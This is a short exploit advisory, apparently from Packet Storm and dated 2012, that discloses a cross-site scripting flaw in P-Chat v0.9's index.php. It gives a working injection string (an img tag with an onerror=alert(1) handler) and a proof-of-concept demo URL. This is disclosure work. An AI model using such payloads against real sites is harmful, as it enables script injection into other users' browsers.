P-Chat version 0.9 suffers from a cross site scripting vulnerability.
e2f7ec196b46b488f6a7f3fb0e8fa423c504ca6ef2d19bf25cc64f1c992e5884# Exploit Title: P-Chat v0.9 XSS Vulnerability
# Date: 2012
# Author: Eyup CELIK
# Version: All Version
# Tested on: All versions are Vulnerability
# Web Site: www.eyupcelik.com.tr
ISSUE
Cross Site Scripting can be done using the command input
Vulnerable Page:
index.php (XSS)
Example:
"/></a></><img src=eyup.gif onerror=alert(1)> (XSS Code)
POC:
http://limscripts.hostoi.com/demos/p-chat/index.php
Thanks,
Eyup CELIK
Information Technology Security Specialist
http://www.eyupcelik.com.tr
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed